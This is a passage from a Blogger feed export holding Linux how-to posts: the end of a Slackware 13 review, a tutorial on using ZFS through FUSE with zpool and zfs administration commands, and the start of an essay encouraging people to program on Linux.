you to init level 3—that is the command line interface with networking enabled. You need to start X with either &lt;code&gt;startx&lt;/code&gt; or by launching the display manager—for example, kdm. This setting is nice if I were to run a server on it, but I’d rather have the desktop show up by default. So, it’s time to open &lt;code&gt;/etc/inittab&lt;/code&gt; and set the default runlevel to 4—yes, it’s not 5, like other distros.&lt;br /&gt;You’ll also need to set up a normal user account, manually. Unfortunately, that was not a part of the installer’s job. Anyway, run the following command to create one:&lt;br /&gt;&lt;pre&gt;useradd -m slacky&lt;/pre&gt;Replace &lt;em&gt;slacky&lt;/em&gt; with whatever user name you prefer.&lt;br /&gt;Logging into the KDE4 desktop made me realise that Slackware has finally bought into the idea of desktop effects—KWin effects work out-of-the-box if your VGA supports 3D. It could also be because Slackware has a strict policy of not customising the defaults offered by upstream software projects and here KDE offers desktop effects by default.&lt;br /&gt;Apart from that, the desktop is plain—with only a panel at the bottom, and no extra icons (nor Folder View) on the desktop. Although Slackware has the Intel Wi-Fi drivers for my wireless Ethernet card, it offers no NetworkManager for seamless wireless access point switching. In fact, you’d need to edit files manually or use command line tools like &lt;code&gt;ifconfig&lt;/code&gt; and &lt;code&gt;iwconfig&lt;/code&gt; to set up the network.&lt;br /&gt;For a while, I searched online to find a Slackware NetworkManager package, but unfortunately, none of the third-party Slackware software repos (like &lt;a href="http://linuxpackages.net/"&gt;linuxpackages.net&lt;/a&gt; or &lt;a href="http://slacky.eu/"&gt;slacky.eu&lt;/a&gt;) had any software available for version 13 as I write this. Hopefully, things would have changed by the time you install it.&lt;br /&gt;Anyway, the &lt;code&gt;/extras/&lt;/code&gt; section of the DVD has a GTK tool called Wicd, which is a drop-in replacement for NetworkManager. While we’re on the subject of GTK tools, they all look ugly due to the absence of the gtk-qt theme engines.&lt;br /&gt;Firing up Wicd gave me a permission-denied error message. The good thing is that the error message also gave a tip on how to fix it. And while we’re on the subject of error messages, here’re a couple more:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;KMix doesn’t load because the user doesn’t have rights to the sound device.&lt;/li&gt;&lt;li&gt;Clicking on an unmounted volume in Dolphin displays error messages.&lt;/li&gt;&lt;/ul&gt;So, I fired up Konsole to fix things. Adding your user name against the following group names in &lt;code&gt;/etc/group&lt;/code&gt; fixes the aforementioned issues:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;em&gt;audio&lt;/em&gt; – this fixes the sound issue.&lt;/li&gt;&lt;li&gt;&lt;em&gt;video&lt;/em&gt; – although video worked, I still added my user name here for the heck of it.&lt;/li&gt;&lt;li&gt;&lt;em&gt;cdrom&lt;/em&gt; – looked like this solved the CD/DVD mounting issue—though I’m not sure.&lt;/li&gt;&lt;li&gt;&lt;em&gt;plugdev&lt;/em&gt; – this was to enable the user to mount other volumes (which probably includes optical discs as well; so maybe adding the user name to the cdrom group wasn’t required).&lt;/li&gt;&lt;li&gt;&lt;em&gt;netdev&lt;/em&gt; – well, this fixed the issue with Wicd permissions.&lt;/li&gt;&lt;/ul&gt;After saving the file with the changes, and a reboot, Wicd and KMix started as soon as I logged in to KDE, and now I could also mount volumes (hard disk partitions and media devices) using Dolphin. What a relief!&lt;br /&gt;&lt;h2&gt;Apps and tools&lt;/h2&gt;Finally, coming to productivity and entertainment applications, there’re a lot—more than what I needed, at least. And because I went for a full installation, I had more choices for each category of tasks than I’d consider healthy. Anyway, various audio and video file formats worked just fine—even in default KDE apps like JuK and Dragon Player. Yes, there’s Amarok and MPlayer (as well as Xine UI) for power users—I missed SMPlayer though. Only thing you’d have to do manually is get the Flash Player from Adobe, Gnash, or elsewhere.&lt;br /&gt;Talk about an office productivity suite and this is where Slackware is a BIG let down. It only offers KOffice version 2, instead of OpenOffice.org 3. I’d like to report here that I never really had issues with the earlier versions of KOffice. But ever since version 2 is out, I find its font rendering capabilities absolutely pathetic—the characters/alphabets look ‘fat’ with a reddish tinge on black fonts.&lt;br /&gt;Anyway, the good thing is that the accompanying LFY CD has OpenOffice.org 3.1, and you can install it by following &lt;a href="http://wiki.services.openoffice.org/wiki/Documentation/FAQ/Installation/How_do_I_install_OpenOffice.org_on_Slackware%3F"&gt;this guide&lt;/a&gt;.&lt;br /&gt;It works like a charm, but the OOo application icons in the menu and run dialogue boxes will be missing. And since UK and US dictionaries don’t get installed—you can make use of the OOo Extension Manager (utility located under the Tools menu) to find and install them.&lt;br /&gt;Thankfully, the version of Firefox is 3.5, and I also have Ktorrent, Kget and other assorted Internet apps that I require. The GIMP is also available; however, DigiKam is missing.&lt;br /&gt;Well, that basically completes my requirement factors. If you care about programming languages, server-type software, games et al, updated versions of most are available when you go for the default installation. There’s even the XFCE desktop for those who like GTKish stuff—sorry, no GNOME here.&lt;br /&gt;As for bugs, the only one I came across was that sometimes, after logging in, pressing Alt+F2 launched the XFCE run dialogue instead of KRunner. A re-login solved this issue. I have no clue why this happens, but it’s pretty annoying.&lt;br /&gt;&lt;h2&gt;At the end of the day…&lt;/h2&gt;I think Slackware scores because of its stability and a lower dependency on memory compared to the rest of the distros. However, it requires plenty of manual configurations before one can be productive. If you can get along fine with that, I guess you won’t have much to worry about.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6631355475399605399-2108575940055555395?l=akki4tips.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://akki4tips.blogspot.com/feeds/2108575940055555395/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://akki4tips.blogspot.com/2010/06/slackware-13-is-it-really-worthy-of.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/2108575940055555395'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/2108575940055555395'/><link rel='alternate' type='text/html' href='http://akki4tips.blogspot.com/2010/06/slackware-13-is-it-really-worthy-of.html' title=''/><author><name>ExploringLinuxWithMe</name><uri>http://www.blogger.com/profile/14209377822820692943</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_lIWj8wefYIs/S5Ei4sJkVaI/AAAAAAAAACs/K5MyG1sSTYQ/S220/J0338.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6631355475399605399.post-2239959813888728978</id><published>2010-05-24T11:21:00.000-07:00</published><updated>2010-05-24T11:21:01.722-07:00</updated><title type='text'></title><content type='html'>&lt;div class="entry-top"&gt;       &lt;h2 class="entry-title" style="color: red;"&gt;&lt;span style="font-size: x-large;"&gt;Tried ZFS on Linux?&lt;/span&gt;&lt;/h2&gt;&lt;div class="entry-meta"&gt;&lt;span class="entry-author"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="post-ratings-text" id="ratings_1598_text" style="display: none;"&gt;&lt;/span&gt;&lt;div class="entry-rating"&gt; &lt;div class="tweetmeme_button" style="float: left; margin-right: 10px;"&gt;&lt;em&gt;ZFS  is a revolutionary filesystem from Solaris with features miles ahead of  ext3, the most-used filesystem under Linux. However, licence  incompatibility makes it impossible to merge this open source filesystem  to Linux. This article tells us how to use ZFS on FUSE, a tool that  enables you to run ZFS on Linux—legally.&lt;/em&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div id="greet_block"&gt;&lt;noscript&gt;&amp;lt;div class="greet_block"&amp;gt;&amp;lt;div class="greet_text"&amp;gt;&amp;lt;div class="greet_image"&amp;gt;&amp;lt;a href="http://www.linuxforu.com/feed/rss/"  rel="nofollow"&amp;gt;&amp;lt;img src="http://www.linuxforu.com/wp-content/plugins/wp-greet-box/images/rss_icon.png" alt="WP Greet Box icon"/&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;Hello there! If you are new here, you might want to &amp;lt;a href="http://www.linuxforu.com/feed/rss/" rel="nofollow"&amp;gt;&amp;lt;strong&amp;gt;subscribe to the RSS feed&amp;lt;/strong&amp;gt;&amp;lt;/a&amp;gt; for updates on this topic.&amp;lt;div style="clear:both"&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div class="greet_block_powered_by"&amp;gt;&amp;lt;a href="http://omninoggin.com/projects/wordpress-plugins/wp-greet-box-wordpress-plugin/" title="WP Greet Box WordPress Plugin"&amp;gt;Powered by WP Greet Box&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div style="clear:both"&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&lt;/noscript&gt;&lt;/div&gt;&lt;hr style="width: 70%;" /&gt;&lt;em&gt;&lt;/em&gt;&lt;br /&gt;Jeff Bonwick, the leader of the team at Sun Microsystems that developed  ZFS, called it “…the last word in filesystems.”&amp;nbsp; It is indeed worthy of  the praise considering its advanced yet easily maintainable features.  ZFS, a pseudo-acronym for what was earlier called Zettabyte Filesystem,  is a 128-bit filesystem, as opposed to the presently available 64-bits  filesystems like ext4 and others. Some of its excellent features include:&lt;br /&gt;&lt;ul&gt;&lt;li&gt; &lt;strong&gt;Simplified administration:&lt;/strong&gt; ZFS has a well-planned  hierarchical structure with the uberblock (parent of all blocks) and  disk label at the top, followed by pool-wide metadata, the filesystem’s  metadata, directories and files. The uberblock checksum is used as the  digital signature for the entire filesystem. Besides property  inheritance (utilising the hierarchical structure), ZFS provides auto  management of mounting, sharing, compressions, ACLs, quotas and  reservations, etc, making administration easier and more effective. The  filesystems in ZFS can be compared to directories in ordinary  filesystems like ext3, and most administration tasks are done using just  two commands—&lt;code&gt;zfs&lt;/code&gt; and &lt;code&gt;zpool&lt;/code&gt;.&lt;/li&gt;&lt;li&gt; &lt;strong&gt;Pooled storage:&lt;/strong&gt; ZFS has revolutionised the  filesystem implementation and its management with the introduction of  storage pools. Concepts like datasets (a generic term for volumes,  filesystems, snapshots and clones) and pools (a large storage area  available for the datasets) make filesystem handling easier for the  administrator. Like the virtual memory model for a process, the  filesystem can grow its usage space as required without any  pre-determined space limits unless provided as ‘quotas’ within the pool  model. ‘Quotas’ can be set, changed or removed at will. Also, a minimum  ‘reservation’ space for each filesystem can be specified. One important  aspect of the storage pool is the removal of volume management  architecture, thus reducing a lot of complexity for the administrator.&lt;/li&gt;&lt;li&gt; &lt;strong&gt;Transactional paradigm:&lt;/strong&gt; ZFS being a transactional  filesystem is guaranteed to be consistent according to its developers.  Data management in ZFS uses copy on write semantics, which ensure that  data is never overwritten, always maintaining an old reference to the  data. A sequence of filesystem operations is either committed or ignored  as a whole, thereby preventing any corruption to the filesystem due to  power shortage or some other outage. This, in effect, removes the need  for the &lt;code&gt;fsck&lt;/code&gt; tool, the traditional filesystem check and  repair tool.&lt;/li&gt;&lt;li&gt; &lt;strong&gt;Scrubbing and self-healing:&lt;/strong&gt; Since data and even  metadata is checksummed, data scrubbing (an operation that checks data  integrity within a filesystem or, in other words, data validation) is  performed easily within ZFS. Checksum algorithms can be any  user-selected algorithm from SHA-256 to fletcher2, producing 256-bit  long checksums. Besides checking for data integrity and preventing  silent corruption, ZFS also provides mechanisms for self healing, mainly  through RAID-Z and mirroring. Two RAID-Z variations, single and  double-parity, are in fact slight variations of RAID-5 and RAID-6,  respectively. The variations mainly aim to eliminate the write hole,  solidifying data integrity. Besides, techniques like resilvering or  resyncing help in replacing a corrupted or faulty device with a new one.&lt;/li&gt;&lt;li&gt; &lt;strong&gt;Scalability:&lt;/strong&gt; The team behind ZFS made the decision  to go for a 128-bit filesystem, even though 64-bit filesystems like  ext4 have come up only recently. Its data limit is an enormous 256  quadrillion zettabytes of storage which, is almost an impossible limit  to reach in the near future since fully populating a 128-bit storage  pool would, literally, require more energy than boiling the oceans, as  Bonwick pointed out. Directories can have up to 248 (256 trillion)  entries. No limit exists on the number of filesystems or number of files  that can be contained within a filesystem.&lt;/li&gt;&lt;li&gt; &lt;strong&gt;Snapshots and clones:&lt;/strong&gt; Snapshot is a read-only copy  of a filesystem or volume at any particular point of time. Its design  is such that space is consumed only when data is changed, preventing any  freeing of data from the filesystem unless explicitly asked, giving  further options for maintaining data integrity. Clone is a writable  filesystem generated from a snapshot. The creation of snapshots and  clones in ZFS is very simple and is always pointed out as one of its big  advantages.&lt;a name='more'&gt;&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;ZFS and Linux&lt;/h2&gt;ZFS is the standard filesystem for Solaris/OpenSolaris OS whose  source code is published under CDDL (Common Development and Distribution  License). However, from the beginning (and hopefully forever) the Linux  kernel has remained licensed under the GPLv2, which prevents any other  code to be linked with the GPL’d Linux kernel unless that code’s licence  is GPL v2 compatible. So the open sourced code of ZFS cannot be  added/linked to the kernel code like any other filesystem, either as a  part of the kernel or as kernel modules. As a workaround, some solutions  pointed out by the open source community are:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;A ‘court ruling’ (either in the US or EU, where ZFS is mainly used)  stating that GPL and CDDL are compatible.&lt;/li&gt;&lt;li&gt; Either of the parties (Linux and Solaris) need to change the  licence of their code to a mutually compatible one.&lt;/li&gt;&lt;li&gt; A GPL’d ZFS reimplementation from scratch, which should be free  from all the 56 patents that Sun has taken on ZFS code.&lt;/li&gt;&lt;li&gt; A method by which we would be able to implement ZFS to be usable  for Linux, which is only possible through dynamic linking between the  codes—this is allowed.&lt;/li&gt;&lt;/ol&gt;The possibility of Options 1 and 2 are remote, compelling us to  choose between Options 3 or 4. As a solution like that suggested in  Option 3, a project named BTRFS, guided by Chris Mason at Oracle is  under development, having been merged to a “rc” pre-release of the  current Linux kernel (2.6.30), and is under testing. Definitely, this is  going to take a long time as ZFS itself was under development for five  years. Solution 4, which is through a utility called FUSE and seems the  most stable option as of now, is what I am going to discuss as we go on.&lt;br /&gt;&lt;h2&gt;FUSE&lt;/h2&gt;Filesystem in USErspace, or FUSE, helps implement a fully-functional  filesystem in a userspace program rather than directly in the kernel. It  is implemented in OSs like Linux, FreeBSD, etc. Its components (as of  version 2.7.4) consist of a FUSE kernel module, a FUSE library  containing libfuse and libulockmgr, and a special file descriptor like a  device file in Linux named &lt;code&gt;/dev/fuse&lt;/code&gt;, used for  communication between the kernel module and the userspace library. For  user convenience, a program named ‘fusermount’ is provided along with  the FUSE package as an easy usermode tool to link up between the  user-defined filesystem and the FUSE module.&lt;br /&gt;&lt;h2&gt;ZFS on FUSE&lt;/h2&gt;ZFS on FUSE is a project under development by Ricardo Manuel da Silva  Correia, a computer engineering student, and is sponsored by Google as  part of Google Summer of Code 2006. So after completion of this project,  ZFS will have a port on the FUSE framework, which effectively will mean  operating systems like Linux can use ZFS.&lt;br /&gt;&lt;h2&gt;How it works&lt;/h2&gt;The zfs-fuse daemon acts like a server, managing ZFS on the system  through the FUSE framework. Every filesystem operation on the mounted  ZFS devices from any application will be through the standard C library  system calls. This results in calling the kernel’s appropriate function  from the virtual filesystem (VFS) interface, which will then be hooked  to the FUSE module and, in turn, acts like a filesystem module through a  special purpose device named &lt;code&gt;/dev/fuse&lt;/code&gt;. This device acts  as a bridge between the ZFS implementation and fuse module. The fuse  module communicates with the ZFS filesystem implementation (which in  this case is zfs-fuse), through the FUSE library libfuse which has  functions similar to that of VFS’s interface. The user program returns  results for the filesystem request in the required format through the  FUSE framework to the application.&lt;br /&gt;&lt;h2&gt;Getting started&lt;/h2&gt;&amp;nbsp;It is  available in two forms, as a release version packed as a bzip file or  directly in source form from the Mercurial repository. Installing from  the source requires that we use &lt;code&gt;scons&lt;/code&gt; instead of &lt;code&gt;make&lt;/code&gt;,  though the command and options are almost the same for both. It’s  better you read the README and INSTALL files in the source directory  before proceeding. Besides, for certain distributions like Gentoo,  Debian, Fedora, Ubuntu, etc, zfs-fuse is available via the regular  package management system making the installation much easier. Please  use your package manager and search for “zfs”.&lt;br /&gt;&lt;h2&gt;Installation on Fedora 10&lt;/h2&gt;As I was using Fedora 10 while testing ZFS, my commands and  configuration files are more specific to Fedora, though with minor  variations the same should apply to most distros.&lt;br /&gt;First install the zfs-fuse package using the command [all commands  from here on should be executed as the root user, unless otherwise  mentioned]:&lt;br /&gt;&lt;pre&gt;yum install zfs-fuse&lt;/pre&gt;This installed zfs-fuse version 0.5 on my system that has Fedora 10.&lt;br /&gt;&lt;h2&gt;Setting up ZFS&lt;/h2&gt;Before executing any commands, it should be verified that zfs-fuse  daemon is running.&lt;br /&gt;&lt;pre&gt;pgrep zfs-fuse&lt;/pre&gt;If it’s not, issue the following code:&lt;br /&gt;&lt;pre&gt;service zfs-fuse start&lt;/pre&gt;…or directly run the script file as follows:&lt;br /&gt;&lt;pre&gt;/etc/init.d/zfs-fuse start&lt;/pre&gt;&lt;h2&gt;Managing ZFS&lt;/h2&gt;After making sure that the zfs-fuse daemon is running, we need to  have a ZFS pool comprising of one or more devices. We will create a  pool, say ‘K7’, representing a group with many users, each having their  own filesystems on ‘K7’. A user, say ‘ajc’, will have his own  filesystem, which will be mounted under ‘K7’ with the same user name  along with the required properties.&lt;br /&gt;zpool create K7 sda10 This will create a pool named ‘K7’ using the &lt;code&gt;/dev/sda10&lt;/code&gt;  device. You can also give the full path as &lt;code&gt;/dev/sda10&lt;/code&gt;  instead of just &lt;code&gt;sda10&lt;/code&gt;. However, it’s not required since  zfs-fuse will search for any device by default in this directory. If the  &lt;code&gt;-n&lt;/code&gt; option is specified after &lt;code&gt;create&lt;/code&gt;, then no  pool will be created. This will cause just a dry-run, which ends up  showing the layout of ZFS after the execution of that command. By  issuing the above command, we not only created a pool but also  implicitly created a dataset (more specifically, a filesystem) too,  which will be mounted by default at location ‘/K7’. It is important to  avoid any pool name whose name clashes with directories under / [root  directory]. However, if you want to explicitly specify the mount point,  say at &lt;code&gt;/mnt/k7&lt;/code&gt; or elsewhere, then execute the following:&lt;br /&gt;zpool create -m /mnt/k7 K7 sda10 …or if pool ‘K7’ already exists:&lt;br /&gt;zfs set mountpoint=/mnt/k7 K7 However, after this, K7 won’t be mounted anywhere. So we need to  issue either auto mount on all filesystems by issuing the following  command:&lt;br /&gt;zfs mount -a …or any specific filesystem as:&lt;br /&gt;zfs mount K7 For unmounting we use the &lt;code&gt;unmount&lt;/code&gt; option instead of  mount in the above commands.&lt;br /&gt;Also, at any point in time, if you want to list all the pools in your  system, execute the command given below:&lt;br /&gt;zpool list The health status of the pool can be checked with the following:&lt;br /&gt;zpool status This command can take the optional arguments &lt;code&gt;-x&lt;/code&gt; and &lt;code&gt;-v&lt;/code&gt;  for a quick overview and verbose status, respectively.&lt;br /&gt;Since we have created a pool named ‘K7’ along with a filesystem with  the same name and mounted it at &lt;code&gt;/mnt/k7&lt;/code&gt;, to properly  harvest the pool we may need more filesystems suitably named in the pool  ‘K7’. This can be achieved by using the dataset specific command &lt;code&gt;zfs&lt;/code&gt;  rather than the pool command &lt;code&gt;zpool&lt;/code&gt;.&lt;br /&gt;For example:&lt;br /&gt;zfs create K7/ajc …will create a filesystem mounted at a sub-directory ‘ajc’ in a  directory where K7 is mounted, which in our case will be &lt;code&gt;/mnt/k7/ajc&lt;/code&gt;.  Similar to specifying mounting options for pools as mentioned above,  filesystems also have options like:&lt;br /&gt;zfs create -o mountpoint=/mnt/k7/ajc K7/ajc Or if you want to change the mount point of an already created  filesystem, use:&lt;br /&gt;zfs set mountpoint=/mnt/k7/ajc K7/ajc It is quite possible that after some time the space you allocated for  the pool may run out. Using the in-built compression can be a  temporary, yet ready-made solution for such a situation.&lt;br /&gt;zfs set compression=on K7/ajc Another way to tackle this is to add devices to the pool with the  required device space, which will be added to the space already  available.&lt;br /&gt;zpool add K7 sda11 Also, as a counter operation to &lt;code&gt;add&lt;/code&gt;, we also have &lt;code&gt;remove&lt;/code&gt;  to remove any added devices from the pool but with the restriction that  removal can be performed only on hot spare (that is, inactive devices  made active when the system is degraded) devices.&lt;br /&gt;Like &lt;code&gt;mountpoint&lt;/code&gt; and &lt;code&gt;compression&lt;/code&gt;, many other  properties of a filesystem like ‘quota’, ‘reservation’, etc, can also  be set as:&lt;br /&gt;zfs set quota=3G K7/ajc zfs set reservation=1G K7/ajc Properties of a filesystem can be viewed using get as follows:&lt;br /&gt;zfs get quota K7/ajc And to see all properties, issue the following command:&lt;br /&gt;zfs get all K7/ajc As mentioned earlier, ZFS gives a lot of importance to data  validation, which is also called scrubbing, and this can be performed on  any of the filesystems using the command &lt;code&gt;scrub&lt;/code&gt;:&lt;br /&gt;zpool scrub K7 If at any point you want to see all the commands you issued on pools,  use:&lt;br /&gt;zpool history Or for a particular pool like K7, issue the following:&lt;br /&gt;zpool history K7 Likewise, use &lt;code&gt;iostat&lt;/code&gt; to get a count of I/O operations on  pools.&lt;br /&gt;Now, for creating a snapshot of any filesystem, we can issue:&lt;br /&gt;zfs snapshot K7@snap1 The snapshot of a filesystem is represented by its name followed by  ‘@’ and then the snapshot name. Use the &lt;code&gt;-r&lt;/code&gt; option to create  snapshots recursively on all filesystems under the specified filesytem,  as in what’s shown below:&lt;br /&gt;zfs snapshot -r K7@snap2 Now, after a lot of changes to the filesystem, if you want to go back  to a snapshot of the filesystem, issue the rollback command. The &lt;code&gt;-r&lt;/code&gt;  switch is required, as we have to remove the newer snapshot ‘snap2’ to  roll back to ‘snap1’.&lt;br /&gt;zfs rollback -r K7@snap1 Or if the snapshot you are rolling back is the newest of all the  snapshots of the filesystem, then use the following:&lt;br /&gt;zfs rollback K7@snap2 As in the listing of pools, datasets (which include fileystems and  snapshots) can be displayed using the command given below:&lt;br /&gt;zfs list The snapshot created can be easily transferred between pools or even  between systems using the commands &lt;code&gt;send&lt;/code&gt; and &lt;code&gt;recv&lt;/code&gt;.  The following command will create a new filesystem ‘K7_snap’ under ‘K7’  from the snapshot ‘snap1’:&lt;br /&gt;zfs send K7@snap1 | zfs recv K7/K7_snap The following command is the same as the one above, but the new  filesystem and snapshot will be in a remote system ‘sreejith’:&lt;br /&gt;zfs send K7@snap1 | ssh root@sreejith zfs recv K7/K7_snap As we know, ZFS is the native filesystem of Solaris and if we want to  migrate any pool storage in Solaris to some other OS like Linux, then  we’ll have to first export the pool from Solaris or whatever OS in which  it was being used, and then import it to the required OS.&lt;br /&gt;zpool export K7 In order to forcefully export ‘K7’, we can use the &lt;code&gt;-f&lt;/code&gt;  switch with the above command.&lt;br /&gt;The following command will display all importable pools with their  name and ID:&lt;br /&gt;zpool import …and we can import it using the name (or even the ID), issuing the  command below:&lt;br /&gt;zpool import K7 And finally, the destroy command is used to destroy a pool or a  filesystem. The following destroys the ‘ajc’ filesystem in ‘K7’:&lt;br /&gt;zfs destroy K7/ajc …while the next command destroys the K7 pool altogether:&lt;br /&gt;zpool destroy K7 Though ZFS on FUSE manages to implement a lot of the features of  native ZFS, it is still not complete, as has been pointed out in the  status of the project. Since the implementation is in userspace, which  has to be linked to the Linux kernel through the FUSE module, the  performance and scalability is not at par with the kernel module  implementation of other filesystems as of version 0.5. Even then, the  project is a nice way to get acquainted with the revolutionary ZFS in  operating systems like Linux. However, it is expected that a properly  tuned ZFS on FUSE may have a comparable performance to the native  filesystems as in the case of NTFS-3G, a freely and commercially  available and supported fast handling read/write NTFS driver for Linux,  FreeBSD, MacOS, etc.&lt;br /&gt;&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6631355475399605399-2239959813888728978?l=akki4tips.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://akki4tips.blogspot.com/feeds/2239959813888728978/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://akki4tips.blogspot.com/2010/05/tried-zfs-on-linux-zfs-is-revolutionary.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/2239959813888728978'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/2239959813888728978'/><link rel='alternate' type='text/html' href='http://akki4tips.blogspot.com/2010/05/tried-zfs-on-linux-zfs-is-revolutionary.html' title=''/><author><name>ExploringLinuxWithMe</name><uri>http://www.blogger.com/profile/14209377822820692943</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_lIWj8wefYIs/S5Ei4sJkVaI/AAAAAAAAACs/K5MyG1sSTYQ/S220/J0338.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6631355475399605399.post-6072894073256354044</id><published>2010-05-24T11:17:00.000-07:00</published><updated>2010-05-24T11:17:11.507-07:00</updated><title type='text'></title><content type='html'>&lt;div class="entry-top"&gt;       &lt;h2 class="entry-title" style="color: red; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="font-size: x-large;"&gt;Write Your Next Program on Linux&lt;/span&gt;&lt;/h2&gt;&lt;div class="entry-meta"&gt;       &lt;span class="entry-author"&gt; &lt;/span&gt;       &lt;div class="entry-rating"&gt; &lt;div class="tweetmeme_button" style="float: left; margin-right: 10px;"&gt;&lt;strong&gt;&lt;/strong&gt;&lt;strong&gt;&lt;/strong&gt;Through this article, I want to ask people to  start programming on the GNU/Linux operating system (from here on,  referred to as just ‘Linux’). Students who are just getting started in  programming; educators who teach or have a role in teaching programming  to new students; hobbyists who program on Windows—I’m asking all of you  to please read on and give Linux a real good try for at least a week. If  you agree that programming on Linux is indeed a better experience than  your previous platform, then stay with it, and enjoy the freedom that  the rest of us do!&lt;/div&gt;&lt;div class="tweetmeme_button" style="float: left; margin-right: 10px;"&gt;&lt;a href="http://www.linuxforu.com/wp-content/uploads/2010/05/Penguin1.jpg"&gt;&lt;img alt="Penguin" class="alignright size-thumbnail wp-image-2996" height="150" src="http://www.linuxforu.com/wp-content/uploads/2010/05/Penguin1-150x150.jpg" title="Penguin" width="150" /&gt;&lt;/a&gt; &lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div id="greet_block"&gt;&lt;noscript&gt;&amp;lt;div class="greet_block"&amp;gt;&amp;lt;div class="greet_text"&amp;gt;&amp;lt;div class="greet_image"&amp;gt;&amp;lt;a href="http://www.linuxforu.com/feed/rss/"  rel="nofollow"&amp;gt;&amp;lt;img src="http://www.linuxforu.com/wp-content/plugins/wp-greet-box/images/rss_icon.png" alt="WP Greet Box icon"/&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;Hello there! If you are new here, you might want to &amp;lt;a href="http://www.linuxforu.com/feed/rss/" rel="nofollow"&amp;gt;&amp;lt;strong&amp;gt;subscribe to the RSS feed&amp;lt;/strong&amp;gt;&amp;lt;/a&amp;gt; for updates on this topic.&amp;lt;div style="clear:both"&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div class="greet_block_powered_by"&amp;gt;&amp;lt;a href="http://omninoggin.com/projects/wordpress-plugins/wp-greet-box-wordpress-plugin/" title="WP Greet Box WordPress Plugin"&amp;gt;Powered by WP Greet Box&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div style="clear:both"&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&lt;/noscript&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;Just to clear any misunderstandings, I am  not aiming to get you to write code for the Linux kernel itself (though  that could well follow as your comfort and programming  proficiency grow). Instead, I’m talking about writing user-space  programs— including the exercises, homework, and project work that most  computer-science study courses include. Before we start, here’s a  disclaimer: this article contains strong personal opinions and beliefs; I  do not in any way intend to be offensive, but some of these ideas just  might be worth a try—by you—to see if you feel the same way!&lt;/div&gt;&lt;h2 style="text-align: left;"&gt;Attacking the mindset&lt;/h2&gt;&lt;div style="text-align: left;"&gt;It’s commonly believed that Linux is  ‘tough’. Sure, it’s different from what people who’re used to Windows  are accustomed to—but it’s not tough. Once you adjust to the  differences, you’ll probably laugh at this misconception yourself, and  tell others how wrong their perception is!&lt;br /&gt;Just consider the many computer science students who’ve been inspired by  the buzz that Linux has been creating over a long time now. They have  resolutely set about learning how to use it on their own  initiative—asking questions on mailing lists, forums and over IRC chat.  Within a couple of weeks, they are ready to do more than just get  around. Often, within a month, they’re so much at home with Linux that  they begin introducing others to the OS. Astounding? It may seem so—but  it’s just that those students were determined to explore and learn, and  ignored the cries of, “It’s tough.”&lt;br /&gt;There is always a learning curve involved whenever one is acquiring a  new skill, and Linux is no exception. If students are taught to use and  program on Linux, they will not just learn, but will also find it  simple. It would just seem natural to them—learning something that they  did not know earlier. ‘Linux is tough’ is a modern-day myth that has to  be busted. If you are an educator, please do your bit. You are the one  that students look up to, and if you show them the right way, they will  follow your example.&lt;/div&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;h2 style="text-align: left;"&gt;Getting Linux up and running&lt;/h2&gt;&lt;div style="text-align: left;"&gt;Okay, once you have decided to use Linux,  how do you go about it? You may have heard of lots of different Linux  ‘operating systems’ (also called distributions): Ubuntu Linux, Fedora  Linux, Debian GNU/Linux and more. Why so many ‘Linuxes’? Let me explain.  Technically, ‘Linux’ is the name of a kernel (read  http://en.wikipedia.org/wiki/Linux_kernel for more information; see  http://www.kernel.org, which is the official home of the kernel). Since a  kernel is of little use on its own, user-space tools from the GNU  project (including the most common implementation of the C library, a  popular shell, and many common UNIX tools that carry out many basic  operating system tasks) were combined with the Linux kernel to make a  usable operating system. The graphical user interface (or GUI) used by  most Linux systems is built on top of an implementation of the X Window  System. Different free software projects and vendors build different  combinations of packages and features, to provide varying Linux  experiences to different target audiences—thus resulting in myriad Linux  distributions.&lt;br /&gt;So which Linux distribution should you use? Ubuntu Linux  